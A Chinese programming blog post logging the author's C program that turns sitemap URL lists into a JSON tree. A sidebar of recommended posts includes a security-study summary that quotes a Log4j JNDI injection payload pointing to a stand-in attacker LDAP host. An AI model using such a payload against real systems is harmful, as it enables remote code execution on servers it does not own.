C语言学习记录20240609

LVGL v8.3 图片显示与解码缓存实战:PNG 上屏、C 数组与文件双方案 LVGL v8.3 图片两种存储方式、PNG/JPG 上屏解码器挂载、LV_IMG_CACHE_DEF_SIZE 缓存调优、手动预解码头像有效性判断,及"缓存被动画清空"真实踩坑。 阅读详情

功能:把网站地图的网址列表转换成树结构。接受标准输入的网址,输出结果为 json 格式。
命名:根据功能将程序命名为 UrlsToTree,太长不方便输入,太短容易重名,最后命名为 u2tr。
用法:

cat sitemap.txt | u2tr > tree.json
u2tr < sitemap.txt > tree.json

树结构,用结构体构造节点,有子节点,声明结构体时有调用自身,形成递归结构,结构体采用别名命名时必须有结构体名。

节点数不确定,也就不能在声明时确定变量占用的内存大小,需要在堆中动态分配内存 malloc,动态分配内存必须有相应的手动回收操作 free。

网址从第三个斜线分割成根网址和路径两部分,去掉问号和井号后的参数和 fragment 。

需要避免重复创建节点。

需要转义网址中影响 json 输出结果的特殊符号,如双引号、反斜线。

最后还是参考《大话数据结构》160页树的孩子表示法,结合 AI 生成修改得到了下面的代码。

主要缺陷:没有考虑网址列表中不同根网址情况,如不同协议、不同域名、不同端口。
在这里插入图片描述

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>

#define BUFFER_SIZE 1024

// 将网址分为根网址和路径两部分
typedef struct {
    char *part1;
    char *part2;
} URL;

void remove_query_fragment(char *url) {
    char *p = strpbrk(url, "?#");
    if (p != NULL) {
        *p = '\0';
    }
}

bool split_url(const char *url, URL *result) {
    char *url_copy = strdup(url);
    remove_query_fragment(url_copy);
    
    const char *current = url_copy;
    int parts_found = 0;
    for (int i = 0; i < 3; i++) {
        current = strstr(current, "/");
        if (current == NULL) {
            free(url_copy);
            return false;
        }
        current += 1; // Move to the end of the matched substring
        parts_found++;
    }
    if (parts_found == 3) {
        size_t part1_len = current - url_copy;
        result->part1 = (char *)malloc(part1_len);
        strncpy(result->part1, url_copy, part1_len - 1);
        result->part1[part1_len - 1] = '\0';
        result->part2 = strdup(current);
        free(url_copy);
        return true;
    }
    free(url_copy);
    return false;
}

char* escape_json_string(const char* str) {
    size_t len = strlen(str);
    char* escaped_str = malloc(2 * len + 1); // Worst case: every character needs escaping
    char* p = escaped_str;

    for (size_t i = 0; i < len; i++) {
        if (str[i] == '"' || str[i] == '\\') {
            *p++ = '\\';
        }
        *p++ = str[i];
    }
    *p = '\0';

    return escaped_str;
}

// 定义树节点的数据结构
typedef struct TreeNode {
    char *data;
    struct TreeNode **children;
    int childCount;
} TreeNode;

// 创建新节点
TreeNode *createNode(const char *data) {
    TreeNode *newNode = (TreeNode *)malloc(sizeof(TreeNode));
    newNode->data = escape_json_string(data); // Escape JSON special characters
    newNode->childCount = 0;
    newNode->children = NULL;
    return newNode;
}

// 销毁节点及其子树
void destroyTree(TreeNode *root) {
    if (root == NULL) {
        return;
    }
    for (int i = 0; i < root->childCount; i++) {
        destroyTree(root->children[i]);
    }
    free(root->data); // Free the data string
    free(root->children);
    free(root);
}

// 添加子节点到父节点
TreeNode *addChild(TreeNode *parent, TreeNode *child) {
    // 判断父节点中是否存在相同数据的子节点
    for (int i = 0; i < parent->childCount; i++) {
        if (strcmp(parent->children[i]->data, child->data) == 0) {
            free(child->data); // Avoid memory leak
            free(child);
            return parent->children[i];
        }
    }

    // 添加子节点到父节点
    parent->children = (TreeNode **)realloc(parent->children, (parent->childCount + 1) * sizeof(TreeNode *));
    parent->children[parent->childCount++] = child;
    return child;
}

// 将路径字符串转换为树结构
void convertPathToTree(TreeNode *root, char *path) {
    TreeNode *currentNode = root;

    char *token = strtok(path, "/");
    while (token != NULL) {
        TreeNode *newNode = createNode(token);
        currentNode = addChild(currentNode, newNode);
        token = strtok(NULL, "/");
    }
}

// 深度优先遍历树并输出为 JSON 格式
void depthFirstTraversal(TreeNode *node) {
    if (node == NULL) return;

    // 输出当前节点信息
    if (node->data != NULL) {
        printf("{\"data\": \"%s\", \"children\": [", node->data);
    }

    // 递归遍历子节点
    for (int i = 0; i < node->childCount; i++) {
        depthFirstTraversal(node->children[i]);
        if (i < node->childCount - 1) {
            printf(",");
        }
    }

    if (node->data != NULL) {
        printf("]}");
    }
}

int main() {
    char buffer[BUFFER_SIZE];
    TreeNode *root = NULL;

    // 动态读取网址列表
    while (fgets(buffer, BUFFER_SIZE, stdin)) {
        buffer[strcspn(buffer, "\n")] = '\0'; // 去掉换行符

        URL result;
        if (split_url(buffer, &result)) {
            if (root == NULL) {
                root = createNode(result.part1);
            }

            convertPathToTree(root, result.part2);

            free(result.part1);
            free(result.part2);
        } else {
            fprintf(stderr, "Failed to split URL: %s\n", buffer);
        }
    }

    if (root != NULL) {
        // 深度优先遍历并输出节点信息
        depthFirstTraversal(root);
        printf("\n");

        // 销毁树
        destroyTree(root);
    }

    return 0;
}


从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 51

static 的三种用法:C 语言里一个关键字的三张面孔

本文系统讲解 C 语言中 static 关键字的三种用法:修饰局部变量延长生命周期、修饰全局变量与函数限制作用域到本文件。通过一个包含三个文件的完整工程示例对照演示,并从存储期、作用域与链接性三个属性解释其统一原理,最后补充单元测试框架偏爱 static 函数的工程实践。

大模型全栈工程师 · Thanks_ks 338

Dbeaver连接TDengine时序数据库

也没啥好总结的,就一句话:Dbeaver真香,而且还是我大JAVA实现的,赞。希望能帮到大家,uping。

zwrlj527的专栏 1903

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 377

用AI画电路板AI EDA初探Creating WiFi Radio with CELUS: A Step-by-Step Tutorial 使用CELU.IO创建WiFi收音机:分步教程

结论:整体还不太成熟,所选器件单元是欧美思维,器件选型成本和咱们华强北还是无法比。可以关注迭代,看客就当走马观花就行了;不过里面的单元模块还带有AI提问的这个比较好,值得国内EDA从业者学习。话不多说上正文:本教程目的是让我们深入了解如何使用CELUS设计平台构建WiFi收音机实战项目。本指南的重点是使用该平台来选择正确的解决方案,并整合一个项目,让您可以将音乐和节目从互联网直接传输到您自己构建的扬声器。

2301_81235726的博客 1万+

中科蓝讯AB536X/AB892X芯片开发避坑指南:Downloader配置中那些容易忽略的细节

本文详细解析中科蓝讯AB536X/AB892X芯片开发中Downloader配置的关键细节,包括软开关机实现、触摸灵敏度调试、量产校频等常见问题。特别针对无PR口芯片的替代方案、触摸参数优化、校频流程等易忽略环节提供实用解决方案,帮助开发者规避量产风险,提升开发效率。

weixin_30687051的博客 476

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 431

Lane、PHY和Preset Value Bit

每个Lane支持不同的传输速度和带宽,例如PCIe 3.0中,一个Lane的传输速度可以达到8 GT/s(Giga Transfers per second),也就是1 GB/s(GigaBytes per second)。Preset Value Bit(预置值位)是在PCIe 3.0的Lane上新引入的一种机制,用于优化信号传输质量。PCIe设备可以包含多个Lane,例如x1、x4、x8、x16等,表示该设备同时使用的Lane数目,比如x16表示该设备采用了16个Lane,具有更高的传输速度和带宽。

weixin_58083606的博客 1299

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 211

H3C设备VRF配置实战:5步搞定多业务网络隔离(附排错技巧)

本文详细介绍了在H3C设备上配置VRF(虚拟路由转发)实现多业务网络隔离的实战方法。通过五步配置流程,从创建VPN-instance、绑定接口到配置独立路由表,帮助网络工程师在单台设备上构建逻辑隔离的企业级网络,并分享了高级路由配置与常见排错技巧。

gold8的专栏 939

ILI9488 TFT屏驱动与触摸协同开发指南

TFT-LCD显示模块是嵌入式人机交互系统的核心外设,其工作原理依赖于专用显示控制器(如ILI9488)对GRAM显存的精确读写,并通过SPI等串行总线接收指令与图像数据。理解RGB接口时序、寄存器初始化流程及DC/CS信号控制逻辑,是实现稳定显示的基础技术前提;而四线电阻式触摸功能则需配合XPT2046类ADC控制器,通过独立SPI或模拟时序完成坐标采集。该方案兼顾低功耗、高集成与工程可移植性,广泛应用于工业HMI、仪器仪表及STM32F407等MCU平台的教学与产品开发。本文围绕3.5英寸320×480

weixin_33814090的博客 149

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 219

27930-2023与27930-2015区别

描述了27930-2023与27930-2015的更新点

manjixingkong1234的专栏 3850

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212

详解账务核心,从入门到精通

本文系统阐述了账务体系的设计原理与实现方法,围绕支付交易的基础设施——账务系统展开深入探讨。文章首先从账务实现原理出发,强调从客户场景中抽象能力的重要性,详细解析了账务总架构及其与外围系统的协同关系。随后重点剖析了账户子系统的设计,包括账户生态、主体管理、结构设计等核心要素,并针对热点账户问题提出了多种创新解决方案。此外,文章还深入探讨了会计日切原理、营销类账务处理等专业领域,最后以支付机构场景为例,全面解析了清结算业务的账务实现模型。全文通过理论结合实践的方式,为构建高效、可靠的账务系统提供了系统性的方法

银行信息系统应用架构详解 532

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 367

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 173

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 199

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 489

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 189

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 366

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 240

扣子Coze学习笔记 02 · 智能体开发基础(视频9-15)

本模块系统讲解智能体开发全流程:从创建、模式选择(推荐单Agent自主规划)、参数调优(随机性、上下文轮数、回复长度)到提示词编写(CO-STAR框架+边界限制),强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比,厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入,并完成发布与开场白优化闭环。实操建议边学边调试,反复验证提示词边界,确保智能体稳定可用。

Question_123456的博客 582

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 595

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 241

库函数的学习

那是因为我们静态库在编译的时候就可以查找,我们之前用的方法就是在编译时可以查找,静态库会直接拷贝到我们的代码当中,所以运行的时候可以不需要i库。-L之告诉编译器,这个库在我们当前目录下,不然会找不到,它默认去的是lib64找。我们使用静态库的方法,然后形成可执行的main文件,我们执行,发现无法执行。gcc main.c -o main -I 文件 -L 文件。-l后面跟我们哭的名字,注意我们库的前缀和后缀都要去掉。使用-I -L -i这样的选项可以随时链接库。我们库的本质是:.o文件的集合。

ywlsg的博客 236
上一篇: C语言学习记录
下一篇: Dev-C++配置Allegro环境
SmileBasic
博客等级 码龄5年 347粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值